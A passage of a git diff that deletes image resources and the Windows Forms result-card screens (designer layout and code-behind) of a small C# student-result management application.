Here/C#/CMS/Resources/delete-business-user-icon-cartoon-style-delete-business-user-icon-cartoon-delete-business-user-vector-icon-web-design-216465921.jpg b/Add Code Here/C#/CMS/Resources/delete-business-user-icon-cartoon-style-delete-business-user-icon-cartoon-delete-business-user-vector-icon-web-design-216465921.jpg deleted file mode 100644 index e991d4d17a4..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/delete-business-user-icon-cartoon-style-delete-business-user-icon-cartoon-delete-business-user-vector-icon-web-design-216465921.jpg and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/delete.png b/Add Code Here/C#/CMS/Resources/delete.png deleted file mode 100644 index bc2ea6bbc37..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/delete.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/download (1).png b/Add Code Here/C#/CMS/Resources/download (1).png deleted file mode 100644 index 15051b329ff..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/download (1).png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/download.png b/Add Code Here/C#/CMS/Resources/download.png deleted file mode 100644 index 2c5857d7f65..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/download.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/images (1).png b/Add Code Here/C#/CMS/Resources/images (1).png deleted file mode 100644 index 30c859f4f0c..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/images (1).png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/images.png b/Add Code Here/C#/CMS/Resources/images.png deleted file mode 100644 index 64beee5b0fa..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/images.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/png-transparent-computer-icons-result-text-logo-sign-thumbnail.png b/Add Code Here/C#/CMS/Resources/png-transparent-computer-icons-result-text-logo-sign-thumbnail.png deleted file mode 100644 index f6eca239c2b..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/png-transparent-computer-icons-result-text-logo-sign-thumbnail.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/remove.png b/Add Code Here/C#/CMS/Resources/remove.png deleted file mode 100644 index e1577759543..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/remove.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/stock-vector-signup-form-login-page-design-you-can-use-it-for-multipurpose-web-projects-login-form-menu-line-1700033632.jpg b/Add Code Here/C#/CMS/Resources/stock-vector-signup-form-login-page-design-you-can-use-it-for-multipurpose-web-projects-login-form-menu-line-1700033632.jpg deleted file mode 100644 index 1969115a679..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/stock-vector-signup-form-login-page-design-you-can-use-it-for-multipurpose-web-projects-login-form-menu-line-1700033632.jpg and /dev/null differ diff --git a/Add Code Here/C#/CMS/ResultForm.Designer.cs b/Add Code Here/C#/CMS/ResultForm.Designer.cs deleted file mode 100644 index 984817056e1..00000000000 --- a/Add Code Here/C#/CMS/ResultForm.Designer.cs +++ /dev/null @@ -1,392 +0,0 @@ - -namespace CMS -{ - partial class ResultForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.nameBox = new System.Windows.Forms.TextBox(); - this.urduBox = new System.Windows.Forms.TextBox(); - this.mathBox = new System.Windows.Forms.TextBox(); - this.physicsBox = new System.Windows.Forms.TextBox(); - this.englishBox = new System.Windows.Forms.TextBox(); - this.computerBox = new System.Windows.Forms.TextBox(); - this.totalBox = new System.Windows.Forms.TextBox(); - this.label9 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 15.37585F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 84.62415F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 3; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 22.0438F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 77.95621F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1756, 685); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 2; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 2; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(264, 140); - this.tableLayoutPanel2.TabIndex = 0; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(273, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(1480, 140); - this.tableLayoutPanel3.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(652, 54); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(175, 32); - this.label1.TabIndex = 2; - this.label1.Text = "Result Card"; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label10, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label9, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 149); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(264, 512); - this.tableLayoutPanel4.TabIndex = 2; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel5.BackColor = System.Drawing.Color.LightSkyBlue; - this.tableLayoutPanel5.ColumnCount = 2; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 38.25364F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 61.74636F)); - this.tableLayoutPanel5.Controls.Add(this.totalBox, 1, 6); - this.tableLayoutPanel5.Controls.Add(this.computerBox, 1, 5); - this.tableLayoutPanel5.Controls.Add(this.englishBox, 1, 4); - this.tableLayoutPanel5.Controls.Add(this.physicsBox, 1, 3); - this.tableLayoutPanel5.Controls.Add(this.mathBox, 1, 2); - this.tableLayoutPanel5.Controls.Add(this.urduBox, 1, 1); - this.tableLayoutPanel5.Controls.Add(this.label6, 0, 2); - this.tableLayoutPanel5.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel5.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel5.Controls.Add(this.label5, 0, 3); - this.tableLayoutPanel5.Controls.Add(this.nameBox, 1, 0); - this.tableLayoutPanel5.Controls.Add(this.label4, 0, 4); - this.tableLayoutPanel5.Controls.Add(this.label7, 0, 5); - this.tableLayoutPanel5.Controls.Add(this.label8, 0, 6); - this.tableLayoutPanel5.Location = new System.Drawing.Point(772, 167); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 7; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 49.18033F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.81967F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 73F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 71F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 70F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 74F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 63F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(481, 475); - this.tableLayoutPanel5.TabIndex = 3; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(59, 18); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(65, 24); - this.label2.TabIndex = 0; - this.label2.Text = "Name"; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.White; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(63, 79); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(58, 24); - this.label3.TabIndex = 1; - this.label3.Text = "Urdu"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.White; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(52, 290); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(80, 24); - this.label4.TabIndex = 2; - this.label4.Text = "English"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.White; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(52, 219); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(79, 24); - this.label5.TabIndex = 3; - this.label5.Text = "Physics"; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.White; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(62, 147); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(59, 24); - this.label6.TabIndex = 4; - this.label6.Text = "Math"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.White; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(41, 362); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(102, 24); - this.label7.TabIndex = 5; - this.label7.Text = "Computer"; - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.White; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.Location = new System.Drawing.Point(63, 431); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(58, 24); - this.label8.TabIndex = 6; - this.label8.Text = "Total"; - // - // nameBox - // - this.nameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.nameBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.nameBox.Location = new System.Drawing.Point(195, 17); - this.nameBox.Name = "nameBox"; - this.nameBox.Size = new System.Drawing.Size(274, 26); - this.nameBox.TabIndex = 4; - // - // urduBox - // - this.urduBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.urduBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.urduBox.Location = new System.Drawing.Point(195, 78); - this.urduBox.Name = "urduBox"; - this.urduBox.Size = new System.Drawing.Size(274, 26); - this.urduBox.TabIndex = 7; - // - // mathBox - // - this.mathBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.mathBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.mathBox.Location = new System.Drawing.Point(195, 146); - this.mathBox.Name = "mathBox"; - this.mathBox.Size = new System.Drawing.Size(274, 26); - this.mathBox.TabIndex = 8; - // - // physicsBox - // - this.physicsBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.physicsBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.physicsBox.Location = new System.Drawing.Point(195, 218); - this.physicsBox.Name = "physicsBox"; - this.physicsBox.Size = new System.Drawing.Size(274, 26); - this.physicsBox.TabIndex = 9; - // - // englishBox - // - this.englishBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.englishBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.englishBox.Location = new System.Drawing.Point(195, 289); - this.englishBox.Name = "englishBox"; - this.englishBox.Size = new System.Drawing.Size(274, 26); - this.englishBox.TabIndex = 10; - // - // computerBox - // - this.computerBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.computerBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.computerBox.Location = new System.Drawing.Point(195, 361); - this.computerBox.Name = "computerBox"; - this.computerBox.Size = new System.Drawing.Size(274, 26); - this.computerBox.TabIndex = 11; - // - // totalBox - // - this.totalBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.totalBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.totalBox.Location = new System.Drawing.Point(195, 430); - this.totalBox.Name = "totalBox"; - this.totalBox.Size = new System.Drawing.Size(274, 26); - this.totalBox.TabIndex = 12; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.White; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.Location = new System.Drawing.Point(105, 116); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(54, 24); - this.label9.TabIndex = 0; - this.label9.Text = "Back"; - this.label9.Click += new System.EventHandler(this.label9_Click); - // - // label10 - // - this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label10.AutoSize = true; - this.label10.BackColor = System.Drawing.Color.Red; - this.label10.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.Location = new System.Drawing.Point(95, 372); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(74, 24); - this.label10.TabIndex = 1; - this.label10.Text = "Logout"; - this.label10.Click += new System.EventHandler(this.label10_Click); - // - // ResultForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1756, 685); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "ResultForm"; - this.Text = "ResultForm"; - this.Load += new System.EventHandler(this.ResultForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TextBox totalBox; - private System.Windows.Forms.TextBox computerBox; - private System.Windows.Forms.TextBox englishBox; - private System.Windows.Forms.TextBox physicsBox; - private System.Windows.Forms.TextBox mathBox; - private System.Windows.Forms.TextBox urduBox; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox nameBox; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label10; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ResultForm.cs b/Add Code Here/C#/CMS/ResultForm.cs deleted file mode 100644 index bc16e7a60c9..00000000000 --- a/Add Code Here/C#/CMS/ResultForm.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class ResultForm : Form - { - private STUDENTBL previous; - public ResultForm(STUDENTBL temp) - { - InitializeComponent(); - this.previous = temp; - ResultDL.changePassword(previous); - - } - - private void ResultForm_Load(object sender, EventArgs e) - { - ResultBL temp = ResultDL.checkResult(previous); - bool checker = ResultDL.isvalid(previous); - if (checker) - { - nameBox.Text = temp.Name; - urduBox.Text = "" + temp.Urdu; - mathBox.Text = "" + temp.Math; - physicsBox.Text = "" + temp.Physics; - computerBox.Text = "" + temp.Computer; - englishBox.Text = "" + temp.Computer; - } - else - { - MessageBox.Show("No record Found"); - } - - } - - private void label9_Click(object sender, EventArgs e) - { - this.Close(); - StudentMenu menu = new StudentMenu(); - menu.Show(); - } - - private void label10_Click(object sender, EventArgs e) - { - this.Close(); - Form1 mainPage = new Form1(); - mainPage.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/ResultForm.resx b/Add Code Here/C#/CMS/ResultForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/ResultForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/ShowResultForm.Designer.cs b/Add Code Here/C#/CMS/ShowResultForm.Designer.cs deleted file mode 100644 index c1f0f372e7d..00000000000 --- a/Add Code Here/C#/CMS/ShowResultForm.Designer.cs +++ /dev/null @@ -1,176 +0,0 @@ - -namespace CMS -{ - partial class ShowResultForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.resultGV = new System.Windows.Forms.DataGridView(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.resultGV)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 16.25F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 83.75F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.resultGV, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 23.77778F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 76.22222F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.png_transparent_computer_icons_result_text_logo_sign_thumbnail; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(124, 101); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.ForeColor = System.Drawing.Color.White; - this.tableLayoutPanel2.Location = new System.Drawing.Point(133, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(664, 101); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.Font = new System.Drawing.Font("Bookman Old Style", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.Black; - this.label1.Location = new System.Drawing.Point(234, 39); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(196, 22); - this.label1.TabIndex = 2; - this.label1.Text = "Result Of Students"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 110); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(124, 337); - this.tableLayoutPanel3.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 